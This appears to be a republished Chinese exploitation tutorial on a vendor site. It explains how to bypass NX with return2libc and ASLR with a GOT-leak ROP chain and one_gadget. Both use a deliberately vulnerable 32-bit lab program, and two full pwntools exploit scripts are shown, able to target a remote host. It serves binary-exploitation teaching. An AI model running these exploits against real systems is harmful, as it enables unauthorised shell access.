许可优化
许可优化
产品
产品
解决方案
解决方案
服务支持
服务支持
关于
关于
软件库
当前位置:服务支持 >  软件文章 >  栈溢出学习(五):NX、ASLR绕过方法详解

栈溢出学习(五):NX、ASLR绕过方法详解

阅读数 18
点赞 0
article_banner

样例代码

本文使用的代码如下

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * compiled with:
 *  gcc    -O0     -fno-stack-protector    -no-pie     -z execstack      -m32   -g  -o lab0 lab0.c
          优化等级      关闭canary         关闭地址随机化   关闭NX      生成32位程序

 */

void shell()//backdoor
{
        printf("You got it\n");
        system("/bin/sh");
}


void hello(char* name)
{
  char buf[20];
  strcpy(buf,name);
  puts("hello!!!");
  printf("i am  %s ",buf);
}

void main(int argc,char** argv)
{
  setbuf(stdin,NULL);
  setbuf(stdout,NULL);
  char buf[100];
  puts("*****************************************");
  puts("PWN,hello world!");
  gets(buf);
  hello(buf);

}

0x07 NX  绕过方法

一、NX保护机制

NX即"NO X",堆栈不可执行保护。 开启 NX后,程序的栈空间没有执行权限,通过这个保护,可以阻止return2shellcode攻击,但是return2libc,ROP,Hijack GOT等攻击方法依然有效,即:

  • 阻止:return2shellcode
  • 绕过:除了return2shellcode均可

二、绕过

在这里我们使用简单一些的return2libc来绕过

程序编译选项为

gcc  -O0  -fno-stack-protector  -no-pie  -m32  -g  -o nxlab lab0.c

可以看到已开启NX
在这里插入图片描述

   exp如下,原理参考 栈溢出学习(二)之 jmp esp & return2libc 即可

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2020-03-27 22:32:52
# @Author  : Pz_mstr
# @Version : python3
# @use     : exp for nx protect
from pwn import *
import sys

def trans(s):
	return "b'%s'" % ''.join('\\x%.2x' % x for x in s)

debug = True
binary = './nxlab'
libc_name = '/home/Pz_mstr/libc/libc2.23x86'

bin = ELF(binary)
libc = ELF(libc_name)

if len(sys.argv) > 1:
	# ip port
	io = remote(sys.argv[1],int(sys.argv[2]))
else:
	#io = process([binary],env={'LD_PRELOAD':libc_name})
	io = process(binary)

if debug:
	context.log_level = 'debug'

io.recvuntil('world!')

padding = b'a'*32
system_addr = bin.sym["system"]
bin_sh_addr = next(libc_name.search('/bin/sh\x00'))


payload = padding
payload += p32(system_addr)	
payload += p32(0xdeadbeef)	
payload += p32(bin_sh_addr)

io.sendline(payload)
io.interactive()


成功截图如下
在这里插入图片描述

0x08 ASLR绕过方法

一、ASLR保护机制

ASLR,即地址随机化。启用该机制后,堆,栈、共享库映射等线性区布局会被随机化,每次执行程序,这些区域的地址都与上次不同,增加了攻击者预测目的地址的难度。但是。他的问题在于,ASLR并不对所有模块和内存区进行随机化,比如GOT表的地址是不变的,那么我们可以分析出来他能够阻止的攻击方法和绕过方式

  • 阻止:return2shellcodereturn2libc
  • 绕过:利用GOT表泄露函数真实加载地址,根据libc的偏移算出我们需要的目标函数所在的真实地址,最终利用真实的地址实现return2libc

总的来说,绕过方法是hijack got结合return2libc完成。我们可以通过ropchain来完成这一系列攻击

二、绕过

编译选项如下,同样的把NX保护也开启

gcc -O0  -fno-stack-protector  -no-pie  -m32   -g  -o ASLRlab lab0.c
在管理员权限下,执行
echo 2 >/proc/sys/kernel/randomize_va_space

可以看到,ASLR和NX保护均已开启
在这里插入图片描述
在这里插入图片描述

   绕过思路:

   首先考虑绕过条件:

  • 泄露出某个函数的真实地址,因此需要一个打印/输出函数

就这一个条件,显然我们需要的输出函数就是puts,那么我们的栈空间可以这样布局

  1. 绿色部分完成对printf函数真实地址的泄露
  2. 黄色部分完成对printf函数真实地址的改写,改为system地址
  3. 橙色部分调用system("/bin/sh")
    在这里插入图片描述

不过细心的读者会发现,其实上面的栈空间布局是错的,因为开启了ASLR,你没办法提前获取到/bin/sh的地址,需要通过计算偏移求出,因此我们考虑使用one_gadget一把梭。

one_gadget的效果大概就是在libc中找到可以直接调用,能够产生system("/bin/sh")效果的一个gadget,因此只要把对printf函数真实地址的改写,改为one_gadget地址即可。

因此最终的栈空间布局为:
在这里插入图片描述

exp简单介绍

  1. 找一个ropgadget

pop_ret = 0x80483b9
在这里插入图片描述

   3. 找一个one_gadget,可以一个一个试,这次选用的是0x5fbc5

在这里插入图片描述

   4. 找libc中__libc_start_main的地址,为0x00018540

这里解释一下为什么找的是__libc_start_main,见下图是got表的布局。当我们使用puts(printf@got)打印printf@got的地址时,puts函数会一直输出直到遇到’\0x0a’,因此会把printf__libc_start_main的地址打印出来。

而我们exp(见下方)中接受泄露地址的代码是这样写的:

io.recvuntil('\n')
libc_addr = u32(io.recvuntil('\n')[-5:-1])

因此接收到的就是__libc_start_main@got,所以需要找libc中__libc_start_main的地址
在这里插入图片描述

最终exp如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2020-03-27 22:32:52
# @Author  : Pz_mstr
# @Version : python3
# @use     : exp for ASLR protect
from pwn import *
import sys

def trans(s):
	return "b'%s'" % ''.join('\\x%.2x' % x for x in s)

debug = True
binary = './ASLRlab'
#libc_name = '/home/Pz_mstr/libc/libc2.23x86'

bin = ELF(binary)
#libc = ELF(libc_name)

if len(sys.argv) > 1:
	# ip port
	io = remote(sys.argv[1],int(sys.argv[2]))
else:
	#io = process([binary],env={'LD_PRELOAD':libc_name})
	io = process(binary)

if debug:
	context.log_level = 'debug'

#gdb.attach(io)
#input()
io.recvuntil('world!\n')

padding = b'a'*32
puts_plt = bin.plt['puts']
gets_plt = bin.plt['gets']
printf_plt = bin.plt['printf']
printf_got = bin.got['printf']
pop_ret = 0x80483b9
one = 0x5f065

rop = padding
rop += p32(puts_plt) + p32(pop_ret) + p32(printf_got)
rop += p32(gets_plt) + p32(pop_ret) + p32(printf_got)
rop += p32(printf_plt)

io.sendline(rop)

io.recvuntil('\n')
libc_addr = u32(io.recvuntil('\n')[-5:-1])
print(libc_addr)
libc_base =  libc_addr - 0x00018540

io.sendline(p32(libc_base+one))
io.interactive()



总结

展示了两种分别绕过NX和ASLR的方法

  • return2libc绕过NX
  • ROPchain结合Hijack GOT绕过ASLR
    免责声明:本文系网络转载或改编,未找到原创作者,版权归原作者所有。如涉及版权,请联系删
相关文章
技术文档
QR Code
微信扫一扫,欢迎咨询~
customer

online

联系我们
武汉格发信息技术有限公司
湖北省武汉市经开区科技园西路6号103孵化器
电话:155-2731-8020 座机:027-59821821
邮件:tanzw@gofarlic.com
Copyright © 2023 Gofarsoft Co.,Ltd. 保留所有权利
遇到许可问题?该如何解决!?
评估许可证实际采购量? 
不清楚软件许可证使用数据? 
收到软件厂商律师函!?  
想要少购买点许可证,节省费用? 
收到软件厂商侵权通告!?  
有正版license,但许可证不够用,需要新购? 
联系方式 board-phone 155-2731-8020
close1
预留信息,一起解决您的问题
* 姓名:
* 手机:

* 公司名称:

姓名不为空

姓名不为空

姓名不为空
手机不正确

手机不正确

手机不正确
公司不为空

公司不为空

公司不为空